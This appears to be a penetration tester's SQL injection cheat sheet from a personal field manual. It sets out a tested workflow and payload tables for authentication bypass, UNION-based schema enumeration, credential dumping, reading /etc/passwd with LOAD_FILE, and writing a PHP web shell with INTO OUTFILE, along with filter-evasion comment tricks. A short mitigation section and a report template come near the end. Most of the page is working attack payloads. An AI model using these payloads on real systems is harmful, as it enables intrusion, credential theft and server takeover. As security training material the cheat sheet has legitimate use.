Field Manual

SQLi Cheat Sheet

4 min read

🛡️ Methodology Checklist

  • Test all input fields: add ' and check for errors
  • Identify DB type from error messages or behaviour
  • Column count: ORDER BY N until error
  • UNION injection: UNION SELECT NULL,NULL,...
  • Data extraction: union to dump users, passwords, sensitive tables
  • Blind time-based: AND SLEEP(5) (MySQL) / WAITFOR DELAY '0:0:5' (MSSQL)
  • Out-of-band: DNS exfil with LOAD_FILE or MSSQL xp_dirtree
  • Try SQLMap for automated exploitation after manual confirmation

🎯 Operational Context

Use when: SQL injection identified — quick reference for UNION payload construction, comment syntax, and database-specific functions. Think Dumber First: Identify DB first: @@version (MSSQL/MySQL), version() (PostgreSQL), banner (Oracle). Then match cheat sheet to identified DB. Wrong DB syntax = all payloads fail. Skip when: N/A — reference document.

⚡ Tactical Cheatsheet

CommandTactical Outcome
'Probe for SQLi — syntax error confirms string context
admin'-- -Auth bypass: comment out password check
admin')-- -Auth bypass: close parenthesis first
' OR '1'='1Universal auth bypass — no trailing quote
cn' ORDER BY 1-- -Column count discovery (increment until error)
cn' UNION SELECT 1,2,3,4-- -Column count discovery (increment until success)
cn' UNION SELECT NULL,NULL,NULL,NULL-- -NULL padding (strict type bypass)
cn' UNION SELECT 1,@@version,3,4-- -DBMS fingerprint / reflection point confirm
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -List all databases
cn' UNION SELECT 1,database(),3,4-- -Current database
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='[DB]'-- -List tables in DB
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='[TABLE]'-- -List columns
cn' UNION SELECT 1,username,password,4 FROM [DB].[TABLE]-- -Dump data (dot operator!)
cn' UNION SELECT 1, user(), 3, 4-- -Current DB user
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -Read OS file (FILE privilege required)
cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -Drop web shell

🔬 Deep Dive & Workflow

MySQL Comment Variants

-- -     ← dash-dash-SPACE-dash (space is mandatory; extra dash ensures it)
#        ← hash (URL: %23)
'--+     ← URL-encoded for GET/browser (+ = space)
')-- -   ← close paren before commenting

Auth Bypass Quick Reference

admin'-- -              ← known user, comment out password
' OR '1'='1             ← unknown user, inject both fields (no trailing quote)
admin' OR '1'='1        ← known user, OR bypass (dev's quote closes it)
admin')-- -             ← nested query: close paren first

UNION Attack Checklist

  1. Confirm injection: ' → syntax error
  2. Count columns: ORDER BY N until error, or UNION SELECT 1,2,... until success
  3. Find reflection points: visible integers in response
  4. Force first row: use id=-1 or non-existent value to surface UNION results
  5. Fingerprint: @@version, POW(1,1), SLEEP(5)
  6. Enumerate schema via INFORMATION_SCHEMA
  7. Dump target data with dot operator

Escalation Decision Tree

Have FILE privilege + empty secure_file_priv?
├── Yes → LOAD_FILE for read; INTO OUTFILE for web shell
└── No → Stick to database enumeration; look for hardcoded creds in app tables

CONCAT for Single Reflection Point

cn' UNION SELECT 1, CONCAT(username, ':', password), 3, 4 FROM dev.credentials-- -
cn' UNION SELECT 1, GROUP_CONCAT(username, ':', password SEPARATOR '\n'), 3, 4 FROM dev.credentials-- -

Mitigation Snippets (Defensive)

// Prepared statements (gold standard)
$stmt = mysqli_prepare($conn, "SELECT * FROM logins WHERE username=? AND password=?");
mysqli_stmt_bind_param($stmt, 'ss', $username, $password);
 
// Least privilege
CREATE USER 'webuser'@'localhost';
GRANT SELECT ON ilfreight.ports TO 'webuser'@'localhost' IDENTIFIED BY 'p@ssw0Rd!!';

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
UNION injection column count wrongColumn mismatchFind count: ORDER BY 1--, ORDER BY 2-- until error; column before error = count
String concatenation syntax variesDB-specificMySQL: CONCAT(a,b) or a,b; MSSQL: a+b; Oracle: a||b; PostgreSQL: a||b
NULL vs string column typesType mismatch in UNIONUse NULL for unknown: UNION SELECT NULL,NULL,NULL--; replace NULLs with values one at a time
Comments blockedFilter on — or #Try: --+, -- -, /*!*/, /**/, %23 (URL encoded #)
Stacked queries failDB or driver doesn’t supportMySQL via PHP PDO: no stacked queries; try time-based blind instead

📝 Reporting Trigger

Finding Title: SQL Injection — Cheat Sheet Applied for Database Extraction Impact: SQL injection exploitation enables reading arbitrary database content, bypassing authentication, executing OS commands (via xp_cmdshell or UDF), and potentially compromising the underlying server depending on database privileges. Root Cause: User input concatenated into SQL queries without parameterization. Recommendation: Use parameterized queries / prepared statements for all database interactions. Implement allowlist input validation. Apply least-privilege to database accounts. Deploy WAF with SQLi detection rules.

🔗 Related Nodes

Graph View

Backlinks